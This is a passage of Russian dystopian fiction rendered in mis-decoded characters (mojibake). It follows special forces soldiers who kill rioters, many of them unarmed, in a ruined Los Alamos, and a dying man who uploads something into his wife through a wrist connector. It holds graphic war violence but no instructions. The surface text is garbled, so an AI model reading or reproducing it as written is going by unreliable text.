êè àêêóðàòíîé ïîëóîêðóæíîñòüþ ñîðâàëàñü
âîäà) è ñíîâà ñòàë ñ÷èòàòü øàãè - íåãðîìêî,
ëèøü áû â øóìå áîÿ ñëûøàòü ñâîé ãîëîñ.
- Ïÿòüñîò ñåìíàäöàòü, ïÿòüñîò âîñåìíàäöàòü...

Î÷åðåäü. Âíåçàïíàÿ, äëèííàÿ. Òàê èõ íå ó÷è-
ëè. Çíà÷èò...
Ëîêðèäæ ïðèáàâèë øàãó è âûñêî÷èë íà îòê-
ðûòîå ìåñòî - óãîë äîìà áûë ðàçðóøåí, à ìà-
ãàçèí íàïðîòèâ ñíåñåí äî îñíîâàíèÿ. Â öåíò-
ðå ðàçâàëèí ñòîÿë ÷åëîâåê â ðâàíîì ïëàùå;
äåðæà â ðóêàõ àâòîìàò, îí ñ íåíàâèñòüþ ðàç-
ðÿæàë åãî â òåëî ñîëäàòà, ëåæàùåãî ó íîã.
Ïàëåö ñâåëî íà êóðêå; î÷åðåäü ïîñòåïåííî
çàäèðàëà ñòâîë â ñòîðîíó. Óìèðàþùèé óæå
ïåðåñòàë äåðãàòüñÿ, îäíàêî ïóëè èçðåäêà åùå
ïîïàäàëè â íåãî, îò÷åãî òåëî áóäòî áû âìèíà-
ëîñü â áåòîííîå êðîøåâî. Ñêîðî ÷åëîâåê íå
ìîã óæå áîðîòüñÿ ñ îðóæèåì; îí áðîñèë
öåâüå, ïðîäîëæàÿ íàæèìàòü íà êóðîê, è äèêî
çàêðè÷àë â ïîëèâàþùåå åãî äîæäåì íåáî.
Àâòîìàò, ñòàâ íàïîëîâèíó ñâîáîäíûì, çàïëÿ-
ñàë â åãî ïðàâîé ðóêå, ðàçìåòàâ îêîëî äåñÿò-
êà ïóëü âîêðóã.
Ëîêðèäæ ìàøèíàëüíî ïðèãíóëñÿ, ïîñëå ÷åãî
çàó÷åííî ïîäíÿë ïðèêëàä ê ïëå÷ó, îáõâàòèë
àâòîìàò ìîêðîé ëàäîíüþ, ïðèöåëèëñÿ è òî÷-
íûì âûñòðåëîì çàñòàâèë ÷åëîâåêà íà ðàçâà-
ëèíàõ âûðîíèòü îðóæèå è óïàñòü ïîâåðõ òåëà
ñâîåé æåðòâû.
Íàêëîíèâ ïîäáîðîäîê ê ãðóäè, Àëåêñ ïðîâå-
ðèë êðåïëåíèÿ ëàðèíãîôîíîâ.
- Íà îòìåòêå «ñåìü-îäèííàäöàòü» ïîòåðè, -

ïðîèçíåñ îí îäíèìè ãóáàìè, çíàÿ, ÷òî ïðèæà-
òûå ê ãîðëó êîíòàêòû óñèëÿò äâèæåíèÿ ãîëî-
ñîâûõ ñâÿçîê. - Âðàã óíè÷òîæåí.
- Ïåðåìåùàòüñÿ ïî ïåðèìåòðó äî «ñåìü-âî-

ñåìíàäöàòü», - óñëûøàë îí â íàóøíèêå îòâåò
ëåéòåíàíòà, ñèäÿùåãî ñåé÷àñ ãäå-òî â áðîíå-
âèêå ñîïðîâîæäåíèÿ. - Ïîãèáøåãî ïîäáåðóò,
îñòàâü òàì ôàëüøôåéåð.
- Ñëóøàþñü. Ïðîäîëæàþ äâèæåíèå äî «ñåìü-

âîñåìíàäöàòü».
Ëîêðèäæ îãëÿíóëñÿ ïî ñòîðîíàì, ïåðåáåæàë
äîðîãó è îñòàíîâèëñÿ ðÿäîì ñ òåëàìè. Íà
ñïåöíàçîâöå íå áûëî æèâîãî ìåñòà - âñÿ ñïè-
íà áûëà èçîðâàíà ïóëÿìè â êëî÷üÿ, è áðîíå-
æèëåò íå ïîìîã; îí âöåïèëñÿ ðóêàìè â áåòîí,
çàïóñòèâ ïàëüöû â ùåëè ðàçðóøåííûõ ïëèò.
Óìèðàÿ, îí òàê è íå ïîíÿë, êàêàÿ èç ïóëü îêà-
çàëàñü äëÿ íåãî ïîñëåäíåé... Àëåêñ âûòàùèë
èç-çà ïîÿñà ïðîäîëãîâàòûé ôóòëÿð ôàëüø-

ôåéåðà, ñäåðíóë ñ íåãî êðûøêó - ôèòèëü
âñïûõíóë íà ïàðó ñåêóíä ÿðêèì æåëòûì îã-
íåì, ïîòîì îáðåë ãóñòóþ ðîçîâóþ îêðàñêó;
ïîâàëèë êðàñíûé äûì. Ñîðâàâ ñ ëåæàùåãî
ðÿäîì óáèéöû ïëàù, Ëîêðèäæ íàêðûë èì òå-
ëî òîâàðèùà, ïîñòàâèë ôàêåë ðÿäîì, îáëî-
æèâ åãî êàìíÿìè.
- Äîæäü íå ñìîæåò ïîãàñèòü åãî, - øåïíóë îí

ìåðòâåöó. Áîëüøå âñåãî îí áîÿëñÿ, ÷òî êîãäà
çà÷èñòêà çàêîí÷èòñÿ è îíè âñòàíóò íàïðîòèâ
êîìàíäèðñêîãî áðîíåâèêà â øåðåíãó ïî äâîå
- ìåñòî ïåðåä íèì áóäåò ïóñòîâàòü; à ýòî çíà-
÷èò, ÷òî îí òîëüêî ÷òî âîòêíóë ôàêåë íà ìîãè-
ëå ðÿäîâîãî Ìèëòîíà, ñâîåãî åäèíñòâåííîãî
äðóãà.
Çà ñïèíîé ðàçäàëîñü øëåïàíüå ïî ëóæàì.
Ëîêðèäæ áûñòðî ñõâàòèë àâòîìàò ñ êàìíåé,
óïàë âáîê è ïåðåêàòèëñÿ íà íåñêîëüêî ìåò-
ðîâ.
- Ëîêðèäæ, ýòî ìû! - ðàçäàëñÿ êðèê îòòóäà,

ãäå ñåé÷àñ ðîçîâàòî äûìèë ôàêåë. - Øíàéäåð
è Ãîðîâèö!
Ëåæà â äîâîëüíî ãëóáîêîé ëóæå è ïîíèìàÿ,
êàê ó íåãî íàìîêàþò òðóñû, Àëåêñ ñ òðóäîì
óäåðæàëñÿ îò òîãî, ÷òîáû íå ïóñòèòü î÷åðåäü
â ñòîðîíó ýòèõ èäèîòîâ. Îïåðøèñü íà ïðèêëàä,
îí âñòàë íà îäíî êîëåíî.
- Êàêîãî õðåíà?! - êðèêíóë îí â îòâåò. - Âû

äîëæíû áûòü ñîâñåì â äðóãîì ìåñòå! Âàøè
îòìåòêè ïî êàðòå...
- Çíàåì, Ëîêðèäæ, - ïåðåáèë åãî Ãîðîâèö, ìà-

ëåíüêèé òùåäóøíûé ñîëäàòèê, êîòîðîãî â
ñïåöíàçå äåðæàëè èç-çà åãî ôåíîìåíàëüíîé
ìåòêîñòè. - Íî åñòü ïðîáëåìà.
Òåì âðåìåíåì Ëîêðèäæ óæå âñòàë âî âåñü
ðîñò, ñìàõíóë ñ áðþê, íàáðÿêøèõ îò âîäû, íà-
ëèïøóþ ãðÿçü, è îãëÿíóëñÿ ïî ñòîðîíàì.
Ïðèõðàìûâàÿ, Øíàéäåð è Ãîðîâèö ïîäîøëè ê
íåìó è âñòàëè òàê, ÷òîáû êàê ìîæíî áîëüøå
ñóçèòü ñåêòîð îáñòðåëà ïðè âîçìîæíîì íàïà-
äåíèè.
- Âû ÷òî, ìàòü âàøó! - îòøàòíóëñÿ îò íèõ

Àëåêñ, ñäåëàâ ïàðó øàãîâ â ñòîðîíó è óñïîêî-
èâøèñü òîëüêî òîãäà, êîãäà ïîíÿë, ÷òî ñìîæåò
ïðîñòðåëèòü ëþáóþ òî÷êó ðàçâàëèí ìàãàçèíà
è ïðèëåãàþùèé ê íåìó ïåðåêðåñòîê. - Âûïîë-
íÿéòå çàäà÷ó!
Ãîðîâèö òÿæåëî äûøàë è âñå âðåìÿ ïåðåìè-
íàëñÿ ñ íîãè íà íîãó, äàâàÿ ïî î÷åðåäè îòäîõ-
íóòü ñâîèì íàòåðòûì ïÿòêàì. Øíàéäåð ãðóñò-
íî ïîñìîòðåë íà íåãî, ïîòîì ïåðåâåë âçãëÿä
íà Ëîêðèäæà è ñïðîñèë:
- Òû âåäü ó íàñ ñàìûé èäåéíûé - òàê ñêàæè,

÷òî ìû çäåñü äåëàåì?
Ëîêðèäæ íåâîëüíî ñèëüíåå ñæàë àâòîìàò. Îí
íå îæèäàë òàêîãî âîïðîñà.
- ×òî ýòî çíà÷èò? - çëî ñïðîñèë îí ó ñîñëó-

æèâöåâ. - Êàêîãî õðåíà âîçíèêàþò ïîäîáíûå
ðå÷è? Äà åùå ïîñðåäè áîÿ?
Øíàéäåð ñäåëàë óñïîêàèâàþùèé æåñò è ìîë-
÷à óêàçàë íà ìåìáðàíû ëàðèíãîôîíîâ. Ëîê-
ðèäæ óñìåõíóëñÿ:
- ×åãî áîèøüñÿ?
- Ëåéòåíàíòà Ðýÿ, - òèõî ñêàçàë Ãîðîâèö.

Àëåêñ íå óäèâèëñÿ.
- ß õî÷ó íàïîìíèòü âàì, ÷òî âû, êàê è ÿ, â

íàñòîÿùèé ìîìåíò âûïîëíÿåòå ïðèêàç - áóäü-
òå òàê ëþáåçíû, ìèëîðäû èç íàâîçíîé êó÷è,
âíà÷àëå âûïîëíèòå åãî, à ïîòîì ïîäàâàéòå
ðàïîðò âûøåñòîÿùåìó íà÷àëüñòâó...
- Òû íå ïîíÿë, Ëîêðèäæ, - ïåðåáèë Øíàéäåð,

êîòîðûé äàæå çàáûë, ÷òî ó íåãî áîëÿò íîãè. -
Âîïðîñ íå â òîì, íðàâèòñÿ èëè íå íðàâèòñÿ
íàì ïðèêàç. ×åðò ñ íèì, îí íà ñîâåñòè òåõ, êòî
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ïðèñëàë íàñ ñþäà. Íî îòâåòü íàì, êàê ïåðåä
Áîãîì, - ÷òî ìû èùåì?
È âîò òóò Ëîêðèäæ çàäóìàëñÿ. Çàäóìàëñÿ,
ñóäÿ ïî âñåìó, âïåðâûå ñ òåõ ïîð, êàê âçÿë
â ðóêè îðóæèå è ïîøåë ãðîìèòü êâàðòàëû,
íàïîëíåííûå áóíòîâùèêàìè. Ïåðåâîäÿ
âçãëÿä ñî Øíàéäåðà íà Ãîðîâöà è îáðàòíî,
îí íåðâíî ïîñòóêèâàë ïàëüöàìè ïî àâòîìà-
òó; ÷åðåç ìèíóòó òÿãîñòíîãî ìîë÷àíèÿ îí çà-
êèíóë àâòîìàò çà ñïèíó, ÷òî áûëî óæ ñîâ-
ñåì áåçðàññóäíî - çíàÿ, ÷òî âîêðóã âðàãè...
Êîãäà Ëîêðèäæ âçìàõíóë àâòîìàòîì, ÷òîáû
íàêèíóòü ðåìåíü íà ïëå÷î, Øíàéäåð èñïó-
ãàííî îòøàòíóëñÿ â ñòîðîíó; Àëåêñó ýòî ïî-
êàçàëîñü ãëóïûì, îí ñîâñåì íå õîòåë íèêî-
ãî íàïóãàòü. Åùå ñåêóíäà - è Øíàéäåð íå
óäåðæàëñÿ áû íà íîãàõ; Ãîðîâèö ïîäñòàâèë
åìó ïëå÷î.
- Íó? - íàñòîé÷èâî ñïðîñèë îí, óäåðæèâàÿ

âçäðàãèâàþùåãî Øíàéäåðà îò ïàäåíèÿ. - Òû
õîòü çíàåøü, ×ÒÎ ýòî òàêîå? Êàê ÎÍÎ âûãëÿ-
äèò?
Ëîêðèäæ íåïîäâèæíî áóðàâèë åãî ãëàçàìè.
Ãäå-òî ìåòðàõ â äâóõñòàõ âçáðûêíóë ÷åé-òî
àâòîìàò - êîðîòêî, çëî; Ëîêðèäæ äàæå íå ïî-
øåâåëèëñÿ, ëèøü êðàåøêîì ñîçíàíèÿ îòìå-
òèâ ïðî ñåáÿ ÷åòêîñòü è óâåðåííîñòü ÷üåé-òî
ñòðåëüáû. «Êàê îíî âûãëÿäèò?»
- Òû... - íà÷àë Ëîêðèäæ. - Òû õîòü ïîíèìà-

åøü...
- Ïîíèìàþ, - êîðîòêî îòâåòèë Ãîðîâèö. - Íî

êòî-òî æå äîëæåí áûë ñïðîñèòü.
- ÊÀÊÎÃÎ ÄÜßÂÎËÀ ÒÐÎÅ ÑÒÎßÒ ÍÀ ÎÄÍÎÉ

ÎÒÌÅÒÊÅ!? - ðàçäàëñÿ êðèê â íàóøíèêàõ ó
âñåõ ñîáðàâøèõñÿ íà ïÿòà÷êå ñîëäàò. - ÁÅ-
ÃÎÌ, ÁÅÇÄÅËÜÍÈÊÈ!
Øíàéäåð ïîêà÷íóëñÿ. Êðèê ëåéòåíàíòà Ðýÿ,
îòñëåäèâøåãî â äàííûé ìîìåíò âðåìåíè
òðè îòìåòêè íà êàðòå, äîñòàë åãî äî ñàìîãî
ñåðäöà. Ãîðîâèö ïðîòÿíóë åìó ðóêó - è â ýòó
ñåêóíäó ãðÿíóë âèíòîâî÷íûé âûñòðåë. Ïóëÿ
ïðîñâèñòåëà ñîâñåì ðÿäîì ñ Ëîêðèäæåì, îí
áðîñèë ñâîå óñòàëîå òåëî â ùåëü ìåæäó áå-
òîííûìè ïëèòàìè, âñòàâøèìè îò íåäàâíåãî
âçðûâà êàðòî÷íûì äîìèêîì. Ëîêðèäæ óæå
î÷åíü ñèëüíî ïîæàëåë î òîì, ÷òî àâòîìàò
íàõîäèòñÿ ñåé÷àñ çà ñïèíîé - õîòÿ íå èñê-
ëþ÷åíî, ÷òî áóäü îí â ðóêå, îí ïîìåøàë áû
íûðíóòü â ñïàñèòåëüíóþ ùåëü.
Â ãëàçà, íîñ è ðîò íàáèëàñü áåòîííàÿ êðîø-
êà. Ñ òðóäîì äîòÿíóâøèñü ñíà÷àëà îäíîé
ùåêîé äî âîðîòíèêà, ïîòîì äðóãîé, Ëîê-
ðèäæ ñóìåë êîå-êàê âûòåðåòü ëèöî. Íî òóò
æå ãðÿíóëà áåñïîðÿäî÷íàÿ ñòðåëüáà, îí ìà-
øèíàëüíî òêíóëñÿ ëèöîì â çåìëþ, âíîâü
íàáðàâ ïîëíûå íîçäðè áåòîííîé ïûëè. Â
ìåòðå îò íåãî, çà ïëèòîé, çàñòó÷àë àâòîìàò -
Øíàéäåð èëè Ãîðîâèö? Íî ñòðåëüáà î÷åíü
áûñòðî ïðåðâàëàñü - êîðîòêèì æàëîáíûì
ñòîíîì. Âñå ñòèõëî.
Ñïóñòÿ ïàðó ñåêóíä Ëîêðèäæ ïîíÿë, ÷òî íà-
äî âûáèðàòüñÿ - èëè îí ïîëó÷èò ïóëþ â ñïè-
íó îò ýòèõ ãàäîâ, êîãäà îíè ïîäáåðóòñÿ ïîá-
ëèæå. Óâåðåííîñòü â òîì, ÷òî åãî äðóçüÿ
ìåðòâû, îâëàäåëà èì öåëèêîì. Îí íà ìãíî-
âåíüå çàìåð, âñëóøèâàÿñü â îêðóæàþùèå
åãî çâóêè, - è ñ óæàñîì ïîíÿë, ÷òî êòî-òî
øåë ê íåìó, äîñòàòî÷íî áûñòðî, ïðàêòè÷åñêè
áåãîì. Àëåêñ ïîïûòàëñÿ âñïîìíèòü, ñ êàêîãî
íàïðàâëåíèÿ îí óñëûøàë âûñòðåëû, íî ïî-
òîì ïëþíóë íà ýòî, çàñó÷èë íîãàìè è ïîñòà-
ðàëñÿ âûáðàòüñÿ èç óêðûòèÿ íîãàìè âïåðåä.
Ïîëó÷èëîñü íå ñðàçó - òåì áîëåå, ÷òî ïåðè-
îäè÷åñêè ïðèõîäèëîñü çàìèðàòü è âñëóøè-

âàòüñÿ â ïðèáëèæàþùèåñÿ øàãè. Ñêîðî â
ãëàçà áðûçíóë äíåâíîé ñâåò; ïðàâàÿ ðóêà
ðâàíóëà àâòîìàò íà ñåáÿ, Ëîêðèäæ îòêàòèë-
ñÿ â ñòîðîíó è, íàïðàâèâ ñòâîë òóäà, îòêóäà
ñëûøàëèñü øàãè, ïðèëüíóë ê ïðèêëàäó. 
Ïîä ëîêîòü ïîïàëîñü ÷òî-òî ìÿãêîå è òåï-
ëîå. Ëîêðèäæ ñêîñèë ãëàçà âáîê. Îêàçàëîñü,
åãî ðóêà óïèðàëàñü â ïðîñòðåëåííóþ ãðóäü
Ãîðîâöà, êîòîðûé ëåæàë, óñòàâèâøèñü îòê-
ðûòûìè íåìèãàþùèìè ãëàçàìè â ìðà÷íîå
äîæäëèâîå íåáî. Ëîêðèäæ ìåäëåííî ñäâè-
íóë ëîêîòü â ñòîðîíó, íåïîäâèæíî óñòàíî-
âèë åãî ìåæäó êàìíåé è âíîâü âçãëÿíóë â
ïðîðåçü ïðèöåëà. Íèêîãî íå áûëî âèäíî;
ñåêòîð ïðåäïîëàãàåìîãî îáñòðåëà áûë ÷èñò.
Øàãè òîæå óæå íå áûëè ñëûøíû â òå÷åíèå
ìèíóòû.
Êòî áû ýòî íè áûë - îí ëèáî óìåëî ñïðÿòàë-
ñÿ, ëèáî óáåæàë.
«Êàê ÎÍÎ âûãëÿäèò?» - ïðîçâó÷àëî â óøàõ
Ëîêðèäæà ýõî âîïðîñà, çàäàííîãî ìåðòâûì
óæå Ãîðîâöîì íåñêîëüêî ìèíóò íàçàä. Íå
îòðûâàÿñü îò ïðèöåëà, Ëîêðèäæ ïðîòÿíóë
ðóêó ê òðóïó, íàùóïàë íà ïîÿñå ìàãàçèíû,
ñíÿë, çàñóíóë ñåáå çà ãîëåíèùå.
Íåâäàëåêå ðàçäàëñÿ øîðîõ - ñëîâíî êòî-òî
ïîëç, ðàçìåðåííî è áûñòðî. Ëîêðèäæ áûñò-
ðî ïðèöåëèëñÿ è äàë â òîì íàïðàâëåíèè
î÷åðåäü - êîðîòêóþ, òî÷íóþ, íà ïîðàæåíèå.
Íåñêîëüêî êóñêîâ áåòîíà, ïîâèñøèõ íà ãíó-
òûõ àðìàòóðèíàõ, ñëîâíî âåòðîì ñäóëî - îíè
ðàçëåòåëèñü â ïûëü ïðèìåðíî òàì, îòêóäà
ðàçäàâàëñÿ çâóê. Øîðîõ ïðåêðàòèëñÿ.
Ëîêðèäæ àêêóðàòíî ïåðåïîëç ÷åðåç Ãîðîâ-
öà, íå îáðàùàÿ âíèìàíèÿ íà ëóæó êðîâè,
ïîñòåïåííî ðàçáàâëÿþùóþñÿ äîæäåâîé âî-
äîé, êðàåì ãëàçà îòìåòèë òîð÷àùèå èç-ïîä
íåãî íåïîäâèæíûå íîãè Øíàéäåðà è ïðè-
íÿëñÿ ëîêòÿìè òîëêàòü çåìëþ îò ñåáÿ. Àâòî-
ìàò, âçÿòûé çà ðåìåíü, ïåðèîäè÷åñêè çàñò-
ðåâàë â ðàçâàëèíàõ; Ëîêðèäæ ÷åðòûõàëñÿ
ïðî ñåáÿ, îñâîáîæäàë åãî è ïîëç äàëüøå.
- ÊÀÊÎÃÎ ×ÅÐÒÀ ÌÎË×ÈÌ, ËÎÊÐÈÄÆ!!! - çàã-

ðîõîòàë â íàóøíèêàõ Ðýé. - Ãäå îòìåòêè
Øíàéäåðà è Ãîðîâöà?! Ó òåáÿ ïîòåðè?
- Ó âàñ... - øåïíóë Ëîêðèäæ è ðåøèë ïðèöå-

ïèòü ê àâòîìàòó øòûê-íîæ. Ùåë÷îê ïðîçâó-
÷àë íåîæèäàííî ãðîìêî, çàñòàâèâ Ëîêðèä-
æà âæàòüñÿ ïîãëóáæå â áåòîííîå êðîøåâî. -
Øíàéäåð è Ãîðîâèö óáèòû. ß íà îòìåòêå...
õðåí çíàåò, ãäå ÿ, òóò ðàçâàëèíû ìàãàçèíà,
ñóäÿ ïî âñåìó, êàíöåëÿðñêîãî (Ëîêðèäæ
ðàçâåë øòûê-íîæîì ïåðåä ñîáîé ïàðó ÿùè-
êîâ ñî øêîëüíûìè òåòðàäÿìè è óâèäåë ïîä
íèìè ëèöî ïðîäàâöà ñ ïóëåâûì îòâåðñòèåì
âìåñòî ïðàâîãî ãëàçà).
- ×ÒÎ ÂÛ ÍÀÌÅÐÅÍÛ ÏÐÅÄÏÐÈÍßÒÜ?
- Ëåéòåíàíò, ÷òî âû âñå âðåìÿ îðåòå? - ïðî-

äîëæàë øåïòàòü Ëîêðèäæ. - Âàñ ïðåêðàñíî
ñëûøíî. Çäåñü êòî-òî ïðÿ÷åòñÿ, ÿ íàìåðåí
îñìîòðåòü ðàçâàëèíû áîëåå òùàòåëüíî. Ïî-
ìîùü íå òðåáóåòñÿ, åñëè áóäåò íóæíî, ÿ
ïîñòàâëþ âàñ â èçâåñòíîñòü...
Ïîïðàâèâ êàñêó, Ëîêðèäæ ïîäòÿíóë àâòîìàò,
ïîëîæèë ïàëåö íà ñïóñêîâîé êðþ÷îê è ïðè-
ïîäíÿëñÿ íà êîëåíî. Âïåðåäè íå áûëî âèä-
íî íè÷åãî ïîõîæåãî íà ÷åëîâåêà.
Ïðèñëóøàâøèñü ïîâíèìàòåëüíåå, Ëîêðèäæ
ðàçëè÷èë íà ôîíå øóðøàùåãî ïî êàìíÿì
äîæäÿ ïðåðûâèñòîå äûõàíèå - êòî-òî ìåòðàõ
â äâàäöàòè îòñþäà ïåðåæèâàë ÿâíî íå ëó÷-
øèå âðåìåíà. Âíåçàïíî ðàçäàëñÿ êàøåëü, è
Ëîêðèäæ óâèäåë, êàê â íåãëóáîêîé âîðîíêå
òî÷íî òàì, îòêóäà äîíîñèëîñü ïðåæäå äûõà-

íèå çàãíàííîãî çâåðÿ, íà ñåêóíäó ïðèïîä-
íÿëñÿ ÷åëîâåê ñ çàëèòûì êðîâüþ ëèöîì.
Åäâà ðÿäîâîé íàâåë îðóæèå â òîì íàïðàâ-
ëåíèè, êàê ñèëû îñòàâèëè ÷åëîâåêà, îí óïàë
íà ñïèíó îáðàòíî, òàê è íå çàìåòèâ ïðèáëè-
æàþùåãîñÿ ñïåöíàçîâöà. Ó Ëîêðèäæà áûëà
íåïëîõàÿ âîçìîæíîñòü çàõâàòèòü ýòó ñâî-
ëî÷ü â ïëåí...
Äî ýòîãî ìîìåíòà îíè óáèâàëè âñåõ, íå
ñòðåìÿñü âçÿòü õîòü êîãî-íèáóäü, ýòî íå
ïðåäóñìàòðèâàëîñü çàäà÷åé, êîòîðóþ ïîñòà-
âèë èì Ðåé. Â òðåõ êâàðòàëàõ Ëîñ-Àëàìîñà â
îáùåé ñëîæíîñòè áûëî óáèòî îêîëî ñîðîêà
÷åëîâåê (ïðàâäà, îðóæèå â ðóêàõ áûëî, äàé
áîã, òîëüêî ó ÷åòâåðòè èç íèõ, íî...). Ñïåöíàç
ïðîøåë ïî ýòîé ÷àñòè çàðàæåííîãî ãîðîäà
ìåäëåííî è íåîòâðàòèìî, ïîäìèíàÿ ïîä ñå-
áÿ âñå, ÷òî òîëüêî ìîæíî - è ýòî íåñìîòðÿ
íà òî, ÷òî âñå îíè ïî îáå ñòîðîíû áàððèêàä
áûëè åäèíîâåðöàìè è ñîïëåìåííèêàìè.
Ñëèøêîì óæ âåëèêà áûëà öåíà - îñòàâëÿòü
â æèâûõ òàêèõ ïîäîíêîâ ó ñåáÿ çà ñïèíîé.
È âîò òåïåðü, êîãäà â ãîëîâå ó Ëîêðèäæà
ïóëüñèðîâàë âîïðîñ, çà êîòîðûé Ãîðîâèö
çàïëàòèë ñâîåé æèçíüþ, ãäå-òî âíóòðè «àâ-
òîìàò» Ëîêðèäæà âñòàë íà ïðåäîõðàíèòåëü.
Îí áûë ãîòîâ ïîãîâîðèòü ñ îäíèì èç íèõ.

*  *  *
Ñóäÿ ïî âñåì ïðèçíàêàì, ó Êðèñà áûëà âû-
ñîêàÿ òåìïåðàòóðà. Êîæà ñòàëà ãîðÿ÷åé, ïî
øåå êàòèëñÿ ïîò. Ïåðèîäè÷åñêè îí ñèëüíî
çàæìóðèâàëñÿ, ñòàðÿñü âîññòàíîâèòü ôîêóñ
â ãëàçàõ - ýêðàí ïîñòîÿííî ðàñïëûâàëñÿ â
íåêîå ìóòíîå ïÿòíî, ðàçëè÷èòü íà êîòîðîì
÷òî-íèáóäü áûëî ïðàêòè÷åñêè íåâîçìîæíî.
Æèâîò óæå íå áîëåë - îí ïðîñòî êàçàëñÿ ÷ó-
æèì, âûëåïëåííûì èç êàðòîíà. Åãî äûõà-
íèå, øóìíîå è ïîâåðõíîñòíîå, âûçûâàëî ó
æåíû ñëåçû. Îíà óæå äàâíî ïðîñòèëàñü ñ
íèì, äàâíî ïðèãîòîâèëà âñå äëÿ ïîõîðîí; íî
ñåðäöå îòêàçûâàëîñü âåðèòü â ïðîèñõîäÿ-
ùåå.
Ñïàñàÿ ìóæà îò êîøìàðîâ äåéñòâèòåëüíîñ-
òè, îíà áðàëà ïî âå÷åðàì åãî ïðîâîä, à íå
ñâîé, ïîäêëþ÷àëàñü - è ïðèõîäèëà â ñåáÿ
ñïóñòÿ ïðèìåðíî ÷àñ ïîñëå Âîçäåéñòâèÿ.
Îäíà è òà æå êàðòèíà ïðåäñòàâàëà åå ãëàçàì
- ïîñåðåâøèé îò ñìåðòåëüíîé áîëåçíè Êðèñ,
óòêíóâøèéñÿ âçãëÿäîì â ýêðàí íîóòáóêà.
Îíà ÷åòêî çíàëà, ÷òî â òå÷åíèå äâóõ ñóòîê
ñåðâåð áóäåò îáðàáàòûâàòü èíôîðìàöèþ î
íåçàäåéñòâîâàííîì ïðîâîäå, ïîñëå ÷åãî ê
íèì â äîì ÿâèòñÿ ñïåöíàç ñ öåëüþ âûÿñ-
íèòü, ïî êàêîé ïðè÷èíå ëè÷íîñòü íîìåð òà-
êîé-òî óêëîíÿåòñÿ îò Âîçäåéñòâèÿ. Æäàòü
îñòàâàëîñü íå òàê óæ è äîëãî.
Êîãäà æåíà ïðèêîñíóëàñü ê åãî ïëå÷ó, Êðèñ
äîâåð÷èâî ïðèæàëñÿ ê ðóêå ùåêîé, íå îòðû-
âàÿñü îò ýêðàíà.
- Òû äîëæåí ñäåëàòü ýòî ñî ìíîé, - òèõî

ïðîøåïòàëà Ìàðèÿ. - Ñêîðî îíè áóäóò
çäåñü...
Ïàëüöû ìóæà çàìåðëè íàä êëàâèøàìè. Îí
ìåäëåííî ðàçîãíóëñÿ, íî òóò æå åäâà íå
ñëîæèëñÿ ïîïîëàì îò áîëè, âíåçàïíî ïðîí-
çèâøåé âñå òåëî.
- Åùå... íå ãîòîâî, - ñêâîçü çóáû ïðîøåïòàë

îí. - Åñëè ÿ íå... áóäó ñïàòü, òî ÷àñîâ ÷åðåç
äåñÿòü, ìîæåò... ÷óòü áîëüøå... Ñîëîðìèí...
Ìíå íóæåí ñîëîðìèí.
Æåíà ìîë÷à ñóíóëà ðóêó â êàðìàí, ïðîòÿíó-
ëà åìó òàáëåòêó. Êðèñ ïîäíÿë íà íåå âçãëÿä
- Ìàðèÿ îòâåðíóëàñü. Îí çíàë, ÷òî ó íèõ íå
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áûëî äåíåã - ïî êðàéíåé ìåðå, íà íàðêîòèêè
òî÷íî. È òóò îí âïåðâûå çà ïîñëåäíèå òðè
äíÿ ïîñìîòðåë íà íåå âíèìàòåëüíî - è óâè-
äåë íàêðàøåííûå ãóáû, ïîäâåäåííûå áðî-
âè, ÷óëêè ñî øâîì, âûñîêèé êàáëóê...
Åãî ëèöî ñêðèâèëîñü îò áîëè - òî ëè îò ôè-
çè÷åñêîé, òî ëè îò äóøåâíîé. Æåíà çàêðûëà
ëèöî ðóêàìè.
- Òû... - íà÷àë Êðèñ. Æåíà ïðîòÿíóëà òåïëóþ

ëàäîíü, çàêðûëà åìó ðîò. Êðèñ çàìåð íà ñå-
êóíäó, ïîòîì ìÿãêî îñâîáîäèëñÿ è ïðîèç-
íåñ:
- Òû óìååøü ñòðåëÿòü?

Ìàðèÿ êèâíóëà.
- À â ÷åëîâåêà?

Îíà êèâíóëà - áîëåå æåñòêî. È îí ïîíÿë, ïî-
÷åìó. Êîíå÷íî æå, ó êîãî åùå â ýòîé ñòðàíå
åñòü äåíüãè...
- ß áû íå õîòåë ïðåðûâàòüñÿ, íî ðàç ïîäîø-

ëî âðåìÿ...
Îí âçÿë êîíåö ïðîâîäà ñ ðàçúåìîì, ñîâïà-
äàþùèì ñ òåì, ÷òî íîñèëà åãî æåíà, âîòê-
íóë îäèí åãî êîíåö â íîóòáóê, äðóãîé - åé â
ïðàâîå çàïÿñòüå; ïîïðîñèë ïðèñåñòü.
- ß õî÷ó ïðåäóïðåäèòü òåáÿ, ìèëàÿ... Òî, ÷òî

òû îáðåòåøü, èñïóãàåò òåáÿ. Ïîâåðü ìíå, ÿ
çíàþ, ÷òî ãîâîðþ, - ÿ èñïûòàë íà ñåáå äâå
ïåðâûå âåðñèè. Õî÷åòñÿ âåðèòü, ÷òî ýòî ïóòü
ê ñâîáîäå. Àâòîìàò - ïîä ïîëîì â êëàäîâîé,
äâå ïîëîâèöû â äàëüíåì ïðàâîì óãëó ñíè-
ìàþòñÿ äîâîëüíî ëåãêî...
Îíà êèâíóëà, ñîãëàøàÿñü. Îí ïîëîæèë
ïàëüöû íà êëàâèàòóðó, íà ìãíîâåíüå îùó-
òèë â ñåáå áèåíèå ñìåðòè è áûñòðî íàáðàë
íóæíóþ êîìáèíàöèþ. Íà ýêðàíå ïîïîëçëà
ïîëîñà çàãðóçêè.
Ìàðèÿ ñèäåëà, íå øåâåëÿñü. Êðèñó êàçà-
ëîñü, ÷òî îí âèäèò, êàê ñ åãî êîìïüþòåðà â
íåå ïåðåëèâàåòñÿ èíôîðìàöèÿ. Ìåäëåííî
ðîçîâåëè åå ùåêè; äûõàíèå íå èçìåíèëîñü
íè íà éîòó. Êðèñ îæèäàë âñåãî, ÷åãî óãîäíî -
íî òîëüêî íå ïîëíîãî îòñóòñòâèÿ ðåàêöèè.
Íîóòáóê êîðîòêî ïèêíóë. Ïîëîñêà çàãðóçêè
äîáåæàëà äî êîíöà è èñ÷åçëà. Òåëî æåíû
íà ìãíîâåíüå îáìÿêëî - íî òóò æå âíîâü
íàïðÿãëîñü, îíà îòêðûëà ãëàçà.
- Â êëàäîâîé? Ïîä ïîëîì? - êîðîòêî ñïðî-

ñèëà îíà.
- Äà, - ìàøèíàëüíî îòâåòèë Êðèñ. - Êàê òû

ñåáÿ ÷óâñòâóåøü?
Îíà íå îòâåòèëà, âñòàëà è õëîïíóëà äâåðüþ.
